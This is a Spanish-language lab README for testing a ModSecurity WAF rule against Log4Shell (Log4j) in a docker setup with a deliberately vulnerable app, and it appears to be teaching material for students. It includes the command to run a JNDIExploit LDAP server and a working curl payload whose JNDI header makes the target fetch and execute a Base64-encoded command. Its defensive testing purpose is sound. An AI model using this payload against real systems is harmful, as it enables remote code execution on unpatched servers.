ModSec-log4j2

Probando la regla de ModSec

Requisitos previos

• Tener docker instalado
• Tener Java instalado en tu máquina

Ejecutando la prueba

• Realizar el git clone del repositorio
• Ejecutar el siguiente comando para levantar el WAF (ModSec) y la aplicación vulnerable

docker stack deploy -c docker-compose.yml WAF

• Extraer el JNDIExploit.v1.2.zip que está en el repositorio, entrar en la carpeta y ejecutar el siguiente comando, siendo que el $IP debe ser el IP de tu máquina, no recomiendo que pongas el 127.0.0.1

java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888

• Para probar el RCE ejecuta el siguiente curl cambiando el $IP por el IP de tu máquina, creará un archivo pwned dentro de /tmp de la aplicación vulnerable

curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Preguntas de los universitarios

1- ¿Cómo saber si mi WAF y aplicación web vulnerable se levantaron?

Ejecuta docker service ls , y verifica si hay dos servicios cada uno con una réplica.

2- ¿Cómo obtener el log de modsec?

Ejecuta docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- ¿Cómo verificar que el RCE no funcionó?

El curl que utilizamos crea un archivo con nombre pwned dentro de /tmp, de esta forma necesitamos ejecutar docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp